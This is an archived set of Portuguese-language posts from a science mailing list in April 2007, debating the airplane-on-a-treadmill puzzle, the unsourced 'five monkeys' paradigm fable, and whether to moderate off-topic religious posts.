> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
> > condições descritas do problema idealizado: o avião voa.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos!
> > >
> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > possíveis
> > > para a questão apresentada. Lembro que esse mesmo problema foi
> > apresentado
> > > há tempos na lista e no final ficaram todos dizendo que voa e
> apenas eu
> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > conseguiu
> > > entender minhas explicações.
> > >
> > > Abraços
> > >
> > > José Renato
> > > ...................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá JR,
>
> (apaguei o restante)
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: José Renato <jrma@terra.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 12:45

Silvio, abelhas vivem de mata e flores...
Há uma experiência interessante feito com ostras. Elas abrem de acordo com a
maré. Colocadas em tanques no meio dos Estados Unidos. Surpreendentemente,
elas continuaram a abrir com o movimento da maré *naquele lugar*, conforme o
movimento da Lua!
[]s
José Renato
........................................

From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 9:52 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas há
mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com cefalópodes
são mantidas em absoluto sigilo: eles já são treinados para colocar uma
granada no casco de um submarino cujo som lhes é passado pelo controle do
sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com animais,
guardadas como segredo pois são peças importantes em qualquer necessidade
militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia do
que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que
tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>






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[As partes desta mensagem que não continham texto foram removidas]



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20:04




SUBJECT: P/ Bruna - Re: última tentativa --- EXCLUSÃO e/ou MODERAÇÃO RIGOROSA
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 14:40

Olá Bruna

Bruna: " Na minha humilde opinião, não deve haver moderação nenhuma
pois que se houver algum tipo de censura na lista prevalecerá o
protecionismo "aos amigos do moderador"."

Desde que os "amigos do moderador" escrevam sobre ciência, e os
"inimigos do moderador" também escrevam sobre ciência, de forma
inteligível, minimamente inteligível, tudo é permitido.

Não há protecionismo em exigir que uma lista de ciências verse sobre
ciência. Nem é o caso de se impedir que se escrevam bobagens, desde
que sejam bobagens SOBRE ciência.

Bobagens sobre divindades e seres imaginários, é outra coisa.

Bruna: "Já li muita bobagem de muita gente aqui, e talvez, eu mesma já
tenha escrito algumas, então, a única necessidade urgente é por
educação e respeito para com todos os participante, e gente..."

As bobagens que escreveu, eram sobre ciência, ou pelo menos se
prestavam a argumentação concreta, científica, como a necessidade de
carnívoros (nós, seres humanos) de se alimentarem de proteína animal.
As bobagens do Ferrari não são nem científicas, nem se prestam a
qualquer debate lógico ou racional, são só maluquices mesmo

Bruna: "por favor, deixem o Ferrari se expressar!!!!"

Ele tem todo direito de se expressar, em qualquer outro lugar, e você
pode convida-lo para longos papos sobre seres imaginários e discutir
como papai do céu não quer que os seres humanos, malvados, comam
outros lindos seres vivos como galinhas e porcos. Mas em PVT, e com
quem se interesse por esse tipo de assunto.

Aqui, na CienciaList, esperamos que compreenda que deve se manter
dentro do escopo da lista. Pense, Bruna, como se sentiria se em uma
lista de vegetarianos, que você frequenta, uma rede de churrascarias
passasse a fazer proselitismo das delícias de uma picanha mal passada?

Ainda diria que ela tem todo o direito de se manifestar?

Um abraço.

Homero



--- Em ciencialist@yahoogrupos.com.br, Bruna Carolina Ribas
<brunacribas@...> escreveu
>
> Na minha humilde opinião, não deve haver moderação nenhuma pois que
se houver algum tipo de censura na lista prevalecerá o protecionismo
"aos amigos do moderador".
> Já li muita bobagem de muita gente aqui, e talvez, eu mesma já tenha
escrito algumas, então, a única necessidade urgente é por educação e
respeito para com todos os participante, e gente...
> por favor, deixem o Ferrari se expressar!!!!
>
>
>
> murilo filo <avalanchedrive@...> escreveu:
Gente, onde vamos parar?
>
> Onde está o decoro socio-científico das mentes respeitáveis?
>
> Agora, até eu, finalmente entrei na lista dos enrabáveis!
>
> Fico muito satisfeito e invejo aqueles que possuem seus próprios
feudos
> científicos para reinar... só não concordo ( moderadamente ) que
queiram
> imperar sobre grupos mais complexos.
>
> Como prova do meu pluralismo, tão raro por aí, proponho o seguinte:
>
> - que todos os HARD SCIENTISTS, radicais, que finalmente mostrem
aquí suas
> próprias contribuições, trabalhos, teses e publicações, ou
enriquecimentos
> individuais à ciência, seja qual for seu ramo.
>
> - gostaria mesmo que poder ver isso, que afinal irá justificar suas
posições
> tão seletivas e duras.
>
> - caso contrário, eu vou, com outros, achar que sua
intelectualidade e massa
> de informação é a mais pura papagaiação das idéias e coisas de
terceiros.
> *Que são meros reservatórios de informações!*
>
> - ou seja, me dêem uma carteirada científica, para que eu murche minha
> orelha e tiau! Me vou, deixando-os em sua legítima e virginal pureza...
> Sinceramente, Murilo Avalanchedrive. SP 13/abr07
>
> >From: "Luiz Ferraz Netto" <leobarretos@...>
> >Reply-To: ciencialist@yahoogrupos.com.br
> >To: <ciencialist@yahoogrupos.com.br>
> >Subject: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou
MODERAÇÃO
> >RIGOROSA
> >Date: Fri, 13 Apr 2007 19:58:11 -0300
> >
> >Amauri,
> >a constituição brasileira me dá o direito de resposta, assim sendo:
> >Vá à merda!
> >
> >[]'
> > ===========================
> > Luiz Ferraz Netto [Léo]
> > leobarretos@...
> > http://www.feiradeciencias.com.br/doacoes.asp
> > ===========================
> >-----Mensagem Original-----
> >De: "Amauri Voltaire " <amaurij@...>
> >Para: <ciencialist@yahoogrupos.com.br>
> >Enviada em: sexta-feira, 13 de abril de 2007 18:41
> >Assunto: Re: [ciencialist] última tentativa --- EXCLUSÃO e/ou
MODERAÇÃO
> >RIGOROSA
> >
> >
> >Caro, não tenho nada haver nessa discussão infantil e inútil, por
isso,
> >além
> >do seu preconceito descabido e não compativel com seu nivel de
professor
> >(cuja duvida ficou bem clara agora); devo acrescentar que não
contribui
> >para
> >a real ciência e nem haverá de contribuir para a mesma a discussão
aqui
> >travada. O direito de se expressar que está na constituição
brasileira,
> >onde
> >o senhor como professor deveria conhecer, me dá o direito de dizer e
> >expressar minha opinião e a aos envolvidos nessa discussão
influtifera.
> >
> >Devo alerta-lo que cientista não é ter diploma, mas ter
consciência do que
> >está fazendo em pró a humanidade...
> >
> >sds
> >AV
> >
> >
> >
> >
> >##### ##### #####
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> >Página de apoio
> >http://www.ciencialist.com
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> >
>
>
>
>
>
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> http://br.messenger.yahoo.com/
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> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Rw: [ciencialist] P/ JC - Re: Balanço do avião - Não to entendendo nada
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 15:00

Olá Jose Renato

Eu quase resisti, e deixei sua mensagem, errada como sempre, de
lado..:-) Mas, quem sabe, em algum momento você acaba entendendo.

Renato: "1.2 - Se as turbinas do avião estivessem acionadas e ele
tivesse acelerado simultaneamente com a esteira - conforme o enunciado
do problema - ele teria percorrido sobre a esteira os mesmos 1000
metros à direita. Isto é, continuaria posicionado no ponto 0 no
solo-terra. Isto é, não teria se movimentado em relação ao solo e ao
ar que o circunda. É como se estivesse estacionado no ponto 0 no
solo-terra. Sabemos que avião estacionado não alça vôo... A não ser
quando levado por um furação."

Putz, putz.... É demais. Sua ilusão a respeito da esteira é forte
mesmo, eu diria, religiosa. E como sua fé religiosa também é forte,
quase fanática, isso deve explicar seu problema com a esteira. Você
'acredita" que a esteira pode, de alguma forma mágica, influenciar o
avião. E ao "encontrar" esta resposta primeira, não consegue mais
abandona-la, devido a fé que tem nela. Você AINDA está pensando que as
RODAS do avião é que o fazem se mover, está pensando em "PERCORRER"
mil metros SOBRE a esteira, quando ele iria , não importa o
referencial, percorrer mil metros em relação ao ar e chão, e 2000 em
relação a esteira, não importa como meça isso!

Vou tentar assim mesmo, quem sabe vê "a luz"..:-)

Pense no tempo 0, quando o avião vai ligar as turbinas, e use seu
exemplo, ele se encontra a mil metros do local inicial, para onde foi
levado pela "esteira". Como está o avião neste momento, Renato?

Se está "se movendo", para tras, então as turbinas vão ter de lutar
contra ESSE MOVIMENTO e não contra a esteira. Se está se movendo para
tras, então está, em relação ao chão e ao ar, se MOVENDO e precisa
primeiro vencer esse movimento antes de começar a se mover para frente.

Neste momento, a esteira é MAIS UMA VEZ, IRRELEVANTE. Todas as forças
se referem ao movimento do avião, e NÃO a esteira. Não é esta que
impede a decolagem mas o MOVIMENTO do avião para tras. Tente imaginar
um ônibus espacial em órbita. Ele SE MOVE a 27 mil quilômetros por
hora e POR ISSO não cai na Terra. Ele não está suspenso em órbita, mas
a uma enorme velocidade, que permite que a 'curva" de queda seja igual
a curva da Terra.

Como ele começa a descer para a Terra? Ele liga as turbinas no sentido
COBNTRÁRIO de seu movimento, para desacelerar, e começar a cair com
uma curvatura MENOR que a curvatura da Terra.

Volte a esteira. Se mover o avião para tras, com qualquer força, por
exemplo, se empurrar o avião para tras a velocidade de 20 km por hora,
é EVIDENTE que este terá, com a força de suas turbinas, compensar esse
movimento antes de começar a se mover para frente.

O enunciado é CLARO: o avião está PARADO e a esteira está PARADA. Esta
se move, rola para tras, apenas quando o avião se MOVE PARA FRENTE. E
a esteira se move a velocidade do avião, em sentido contrário. Isso
causa apenas a rolagem das rodas em velocidade dobrada, nada mais.

Mais um exemplo: pense em um avião sobre um vagão de trem aberto. O
trem se move a 50 km/h, e o avião está apontado para o fim do trem. É
EVIDENTE que se o avião desejasse voar, deveria primeiro vencer esse
movimento para tras e depois começar a andar para frente, em relação
ao ar. Mas, em maiúsculas apra ficar claro, NÃO É O TREM QUE ELE TEM
DE VENCER, COMO NÃO SERIA A ESTEIRA, MAS SEU PRÓPRIO MOVIMENTO PARA
TRAS!!!

Como a esteira do enunciado nunca conseguira mover o avião para tras,
ele NUNCA precisará vencer nenhum movimento, e decolará sem problema.

Esta é minha última tentativa, Renato, depois fica por sua conta
vencer sua fé cega e finalmente entender seu erro no problema.

Homero



--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Caro, Prof. José Carlos!
>
> Sabemos que todo movimento tem um ponto como referência, o ponto zero.
> Usualmente, consideramos que a Terra está "fixa". Sua superfície
está sempre
> no mesmo lugar. Desconsideramos todos os demais movimentos, como:
rotação,
> translação, nutação, precessão do equinócio e translação rumo ao
Apex, ponto
> imaginário entre as constelações de Hércules e Balança. Entretanto,
para um
> cálculo de trajetórias fora da superfície terrestre, como ocorre em
naves espaciais,
> já não podemos desconsiderar os principais movimentos da Terra, da
Lua, do
> Sol e dos planetas. Esse comentário inicial é para relembrar e
alertar que
> *todos os movimentos* são relativos a algum ponto de referência. A
depender
> da escolha dessa referência podemos ter várias interpretações. No
nosso caso
> há apenas duas possibilidades básicas a serem utilizadas: um ponto no
> solo-terra ou um ponto na pista-esteira. Trago a seguir o texto de
minha
> última mensagem para continuar os esclarecimentos ali já iniciados.
>
> [ Vc - e acredito que a grande maioria dos participantes da lista -
também
> não acharam a solução que eu achei desde a primeira vez que refleti
sobre o
> problema aqui na lista, há pelo menos dois anos. Só que eu tinha
dispensado
> a solução que vcs vêem porque, nesta solução em que ele voa, o avião se
> deslocava com o dobro da velocidade *em relação à esteira*... Mas
quando o
> referencial é o solo-terra tanto o avião como a esteira se deslocam
na mesma
> velocidade, em sentidos contrários. ]
>
> 1. Ponto de referência no solo-terra, eixo positivo à sua direita e
negativo
> à esquerda.
> Ve = velocidade da esteira
> Va = velocidade do avião
> Va = -Ve
> O ponto 0 no solo-terra corresponde a um ponto (') na esteira
>
> Ve =]> avião
> <--"-------------------'------------------"----- esteira
> _____________0_____________ solo-terra
> - neg. + pos.
>
> | 1000 | 1000 |
>
> Após 10 segundos o avião atingiu uma velocidade Va=180m/s
> no ponto (") 1000 m à direita e a esteira acelerou simultaneamente
> com o avião e atingiu a mesma velocidade Ve=180m/s, após os
> 10s, se deslocando 1000m à esquerda até o ponto eqüidistante (")
> Em relação ao ponto 0 no solo-terra o avião percorreu 1000m,
> mas em relação ao ponto (') na esteira, que coincidia com o
> ponto 0 no solo-terra, ele se deslocou 2000m.
> *Em relação ao ponto (') na esteira* o avião está se deslocando
> com o *dobro da velocidade* com que se desloca a esteira em
> relação ao ponto 0 no solo-terra.
>
> 1.1 - Avião parado-estacionado e a esteira acionada
> acelerando até atingir a velocidade negativa -Ve.
> Após 10 segundo deslocou-se 1000 metros à esquerda.
>
>
> =]> avião pousado sobre a esteira com turbinas desligadas
> é carregado para trás mil metros do ponto 0 em solo-terra.
> --"---------------------'--------------------- esteira
> _____________0___________ solo-terra c/ ponto de ref. 0
> | 1000m |
>
>
> 1.2 - Se as turbinas do avião estivessem acionadas e ele tivesse
acelerado
> simultaneamente com a esteira - conforme o enunciado do problema -
ele teria
> percorrido sobre a esteira os mesmos 1000 metros à direita. Isto é,
> continuaria posicionado no ponto 0 no solo-terra. Isto é, não teria se
> movimentado em relação ao solo e ao ar que o circunda. É como se
estivesse
> estacionado no ponto 0 no solo-terra. Sabemos que avião estacionado
não alça
> vôo... A não ser quando levado por um furação.
>
> Caso não tenha entendido alguma passagem peço especificar.
>
> Abraços
>
> José Renato
> ..................................................
>
> From: "José Carlos Antonio" <profjc2003@To:
<ciencialist@yahoogrupos.com.br>
> Sent: Saturday, April 14, 2007 1:29 AM
> Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
entendendo nada
> :)
>
>
> Olá José Renato,
>
> Logo nas primeiras aulas de Física, para os primeiros colegiais da
> escola pública onde leciono, eu ensino meus alunos que parte da
> metodologia de sucesso da ciência, também chamada às vezes de
> "metodologia científica", inclui "manter-se focado no problema a ser
> resolvido e nos fenômenos relevantes envolvidos nele". Assim, se eu
> tivesse que explicar o vôo do avião para meus alunos eu diria a eles
> que a única coisa que faz um avião voar é à diferença de pressão entre
> a parte de cima e de baixo das asas dele(e possivelmente de outras
> partes também, dependendo do modelo aerodinâmico), que causa uma força
> resultante para cima suficiente para elevá-lo.
>
> Assim, qualquer mecanismo que seja empregado para que o avião voe deve
> criar essa diferença de pressão e, no caso dos aviões que não usam
> propulsão por foguetes, isso se dá devido a um certo "Princípio de
> Bernoulli" e ao formato abaulado e desigual das partes superior e
> inferior das asas do avião. O Princípio de Bernoulli é um princípio
> pouco comentado na escola (mesmo nas particulares), embora seja
> riquíssimo como fonte inspiradora para se explicar centenas de
> fenômenos do nosso cotidiano que vão desde o velho caso do avião até a
> razão pela qual as roupas secam mais rápido no varal em dias de vento.
> Enfim, desde que passe ar pelas asas do avião com velocidade
> suficiente para que seja gerada a força resultante capaz de elevá-lo,
> ele voará. Pouco importa o que se passa na casa do vizinho, donde vem
> que, segundo a metodologia científica, não devemos incluir os vizinhos
> quando estamos pesquisando algo em nossa própria casa. :)
>
> Só para finalizar, seja lá o que for que você faça com a esteira o
> resultado será irrelevante nas condições do problema, pois a esteira
> não tem nenhuma influência sobre o movimento horizontal do avião e
> serve somente para lhe dar sustentação em terra, não influindo de
> forma alguma na velocidade com que o vento passa pelas asas do avião.
>
> Como você pode ver, as aulas iniciais sobre a Física e sua metodologia
> de estudo da natureza são fundamentais para que meus alunos economizem
> seus neurônios focando-se apenas nos aspectos relevantes dos
> problemas. É claro que isso poderá limitar um pouco a criatividade
> deles, mas eu acredito que essa criatividade é melhor empregada em
> problemas originais e nas tentativas iniciais de abordagem do problema
> do que na busca de novas soluções para problemas "clássicos" já
> exaustivamente estudados e resolvidos.
>
> Ainda não sei qual foi a "outra" solução que você achou...
>
> Abraços,
> Prof. JC
>
>
> --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> >
> > JC, não há porque se desculpar!
> >
> > Vc - e acredito que a grande maioria também - não acha a solução
que eu
> > achei desde a primeira vez que refleti sobre o problema aqui na
> lista, há
> > pelo menos dois anos.
> >
> > Só que eu tinha dispensado a solução que vcs vêem porque, nesta
> solução em
> > que ele voa, o avião se deslocava com o dobro da velocidade *em
> relação à
> > esteira*... Mas quando o referencial é o solo-terra tanto o avião
> como a
> > esteira se deslocam na mesma velocidade, em sentidos contrários.
> >
> > Acredito que agora vc consiga ver o esquema que eu vejo.
> >
> > []s
> >
> > José Renato
> > ................................................
> >
> > From: "José Carlos Antonio" <profjc2003@To:
> <ciencialist@yahoogrupos.com.br>
> > Sent: Friday, April 13, 2007 1:32 AM
> > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> entendendo nada
> > :)
> >
> >
> > Olá José Renato,
> >
> > Desculpe-me, mas minha ignorância só permite achar uma solução para as
> > condições descritas do problema idealizado: o avião voa.
> >
> > Abraços,
> > JC
> >
> >
> > --- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@> escreveu
> > >
> > > Olá, José Carlos!
> > >
> > > Não gostaria de lhe estragar o prazer de achar as duas soluções
> > possíveis
> > > para a questão apresentada. Lembro que esse mesmo problema foi
> > apresentado
> > > há tempos na lista e no final ficaram todos dizendo que voa e
> apenas eu
> > > dizendo que não. Agora, espero que não termine do mesmo jeito. Tenho
> > > colocado várias dicas para serem analisadas de modo a acompanhar meu
> > > raciocínio lógico-matemático. Mas até agora parece que ninguém
> > conseguiu
> > > entender minhas explicações.
> > >
> > > Abraços
> > >
> > > José Renato
> > > ...................................................
> > >
> > > From: "José Carlos Antonio" <profjc2003@>
> > > To: <ciencialist@yahoogrupos.com.br>
> > > Sent: Wednesday, April 11, 2007 12:12 AM
> > > Subject: [ciencialist] P/ JC - Re: Balanço do avião - Não to
> > entendendo nada
> > > :)
> > >
> > >
> > > Olá JR,
>
> (apaguei o restante)
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: [ciencialist] COMO NASCE UM PARADIGMA
FROM: "Alvaro Augusto \(L\)" <alvaro@lunabay.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 15/04/2007 15:16

Caro Silvio,

As experiências de Pavlov dizem respeito ao estabelecimento de um reflexo
condicionado em um único indivíduo, não à formação de um hábito cultural em
uma comunidade. São coisas muito diferentes.

[ ]s

Alvaro Augusto


----- Original Message -----
From: "Silvio Cordeiro" <scordeiroes@superig.com.br>
To: <ciencialist@yahoogrupos.com.br>
Sent: Friday, April 13, 2007 9:52 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Álvaro: essa história, resíduo das esperiências de Pavlov, são descritas há
mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
tempo, se outras foram feitas, não vieram a público....
As experiências que a marinha americana faz com golfinhos e com cefalópodes
são mantidas em absoluto sigilo: eles já são treinados para colocar uma
granada no casco de um submarino cujo som lhes é passado pelo controle do
sonar de de um navio... isso é o que se sabe....
Russos e americanos têm uma quantidade absurda de experiências com animais,
guardadas como segredo pois são peças importantes em qualquer necessidade
militar.

E impressionante: gostaria de saber se algum listeiro tem alguma notícia do
que acontece com nossas abelhas: estão desaparecendo aos milhares....

sds.,

silvio.
----- Original Message -----
From: Alvaro Augusto (L)
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, April 11, 2007 1:42 PM
Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA


Essa é realmente velha, mas cabem as perguntas de sempre:

- Quais os nomes dos pesquisadores?
- Em que instituição foram realizados os experimentos?
- Houve grupo de controle?
- Os experimentos puderam ser reproduzidos com sucesso por um grupo de
pesquisadores independentes?
- Os resultados foram publicados em um periódico peer-reviewed?

Sem tais respostas, podemos concluir que o autor anônimo está apenas
tentando estabelecer mais um paradigma: o paradigma de que os paradigmas
podem ser estabelecidos sem que as pessoas verifiquem se o experimento
alegado realmente existiu.

E que a alma de Thomas Kuhn descance em paz...

[ ]s

Alvaro Augusto

----- Original Message -----
From: "murilo filo" <avalanchedrive@hotmail.com>
To: <ciencialist@yahoogrupos.com.br>
Sent: Tuesday, April 10, 2007 10:34 PM
Subject: [ciencialist] COMO NASCE UM PARADIGMA

( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
quem são os que matam os paradigmas?)

>COMO NASCE UM PARADIGMA
>
>
>Um grupo de cientistas colocou cinco macacos numa jaula, em cujo centro
>puseram uma escada e, sobre ela, um cacho de bananas.
>Quando um macaco subia a escada para apanhar as bananas, os cientistas
>lançavam um jato de água fria nos que estavam no chão.
>Depois de certo tempo, quando um macaco ia subir a escada, os outros
>enchiam-no de porradas.
>Passado mais algum tempo, nenhum macaco subia mais a escada, apesar da
>tentação das bananas.
>Então, os cientistas substituíram um dos cinco macacos.
>A primeira coisa que ele fez foi subir a escada, dela sendo rapidamente
>retirado pelos outros, que o encheram de porradas, antes que recebessem o
>jato de água fria.
>Depois de algumas surras, o novo integrante do grupo não mais subia a
>escada.
>Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
substituto
> participado, com entusiasmo, da surra ao novato.
>Um terceiro foi trocado, e repetiu-se o fato. Um quarto e, finalmente,o
>último dos veteranos foi substituído.
>Os cientistas ficaram, então, com um grupo de cinco macacos que, mesmo
>nunca tendo tomado um banho frio, continuavam batendo naquele que
tentasse
>chegar às bananas.
>Se fosse possível perguntar a algum deles porque batiam em quem tentasse
>subir a escada, com certeza a resposta seria: "Não sei, as coisas sempre
>foram assim por aqui..."
>
>Conte esta história para seus amigos, para que, vez por outra,
>questionem-se porque estão batendo...
>
>"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> ( Albert Einstein )
>
>
>Sds,
>Edenilson Araújo
>




SUBJECT: Re: COMO NASCE UM PARADIGMA
FROM: "oraculo333" <oraculo@atibaia.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 15/04/2007 15:26

Olá Jose Renato

Renato: "Colocadas em tanques no meio dos Estados Unidos.
Surpreendentemente, elas continuaram a abrir com o movimento da maré
*naquele lugar*, conforme o movimento da Lua!"

Muitos seres vivos tem ciclos que se ligam a fenômenos naturais. Mas é
preciso cuidado ao interpretar essas relações. Por favor, poste a
fonte desse estudo sobre ostras que sabem identificar as fases da Lua
dentro de tanques fora dos ciclos do mar.

Sem isso, fica difícil apenas "acreditar" em alegações dispersas.

Um abraço.

Homero


--- Em ciencialist@yahoogrupos.com.br, José Renato <jrma@...> escreveu
>
> Silvio, abelhas vivem de mata e flores...
> Há uma experiência interessante feito com ostras. Elas abrem de
acordo com a
> maré. Colocadas em tanques no meio dos Estados Unidos.
Surpreendentemente,
> elas continuaram a abrir com o movimento da maré *naquele lugar*,
conforme o
> movimento da Lua!
> []s
> José Renato
> ........................................
>
> From: "Silvio Cordeiro" <scordeiroes@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Friday, April 13, 2007 9:52 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
>
> Álvaro: essa história, resíduo das esperiências de Pavlov, são
descritas há
> mais de 30 anos em palestras de psicólogos: o curioso é que ao longo do
> tempo, se outras foram feitas, não vieram a público....
> As experiências que a marinha americana faz com golfinhos e com
cefalópodes
> são mantidas em absoluto sigilo: eles já são treinados para colocar uma
> granada no casco de um submarino cujo som lhes é passado pelo
controle do
> sonar de de um navio... isso é o que se sabe....
> Russos e americanos têm uma quantidade absurda de experiências com
animais,
> guardadas como segredo pois são peças importantes em qualquer
necessidade
> militar.
>
> E impressionante: gostaria de saber se algum listeiro tem alguma
notícia do
> que acontece com nossas abelhas: estão desaparecendo aos milhares....
>
> sds.,
>
> silvio.
> ----- Original Message -----
> From: Alvaro Augusto (L)
> To: ciencialist@yahoogrupos.com.br
> Sent: Wednesday, April 11, 2007 1:42 PM
> Subject: Re: [ciencialist] COMO NASCE UM PARADIGMA
>
>
> Essa é realmente velha, mas cabem as perguntas de sempre:
>
> - Quais os nomes dos pesquisadores?
> - Em que instituição foram realizados os experimentos?
> - Houve grupo de controle?
> - Os experimentos puderam ser reproduzidos com sucesso por um grupo de
> pesquisadores independentes?
> - Os resultados foram publicados em um periódico peer-reviewed?
>
> Sem tais respostas, podemos concluir que o autor anônimo está apenas
> tentando estabelecer mais um paradigma: o paradigma de que os
paradigmas
> podem ser estabelecidos sem que as pessoas verifiquem se o experimento
> alegado realmente existiu.
>
> E que a alma de Thomas Kuhn descance em paz...
>
> [ ]s
>
> Alvaro Augusto
>
> ----- Original Message -----
> From: "murilo filo" <avalanchedrive@...>
> To: <ciencialist@yahoogrupos.com.br>
> Sent: Tuesday, April 10, 2007 10:34 PM
> Subject: [ciencialist] COMO NASCE UM PARADIGMA
>
> ( essa é velha, mas é muito boa. um pequeno tema p/sua meditação...
> quem são os que matam os paradigmas?)
>
> >COMO NASCE UM PARADIGMA
> >
> >
> >Um grupo de cientistas colocou cinco macacos numa jaula, em cujo
centro
> >puseram uma escada e, sobre ela, um cacho de bananas.
> >Quando um macaco subia a escada para apanhar as bananas, os
cientistas
> >lançavam um jato de água fria nos que estavam no chão.
> >Depois de certo tempo, quando um macaco ia subir a escada, os outros
> >enchiam-no de porradas.
> >Passado mais algum tempo, nenhum macaco subia mais a escada,
apesar da
> >tentação das bananas.
> >Então, os cientistas substituíram um dos cinco macacos.
> >A primeira coisa que ele fez foi subir a escada, dela sendo
rapidamente
> >retirado pelos outros, que o encheram de porradas, antes que
recebessem o
> >jato de água fria.
> >Depois de algumas surras, o novo integrante do grupo não mais subia a
> >escada.
> >Um segundo foi substituído, e o mesmo ocorreu, tendo o primeiro
> substituto
> > participado, com entusiasmo, da surra ao novato.
> >Um terceiro foi trocado, e repetiu-se o fato. Um quarto e,
finalmente,o
> >último dos veteranos foi substituído.
> >Os cientistas ficaram, então, com um grupo de cinco macacos que,
mesmo
> >nunca tendo tomado um banho frio, continuavam batendo naquele que
> tentasse
> >chegar às bananas.
> >Se fosse possível perguntar a algum deles porque batiam em quem
tentasse
> >subir a escada, com certeza a resposta seria: "Não sei, as coisas
sempre
> >foram assim por aqui..."
> >
> >Conte esta história para seus amigos, para que, vez por outra,
> >questionem-se porque estão batendo...
> >
> >"É MAIS FÁCIL DESINTEGRAR UM ÁTOMO DO QUE UM PRECONCEITO".
> > ( Albert Einstein )
> >
> >
> >Sds,
> >Edenilson Araújo
> >
>
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> No virus found in this incoming message.
> Checked by AVG Free Edition.
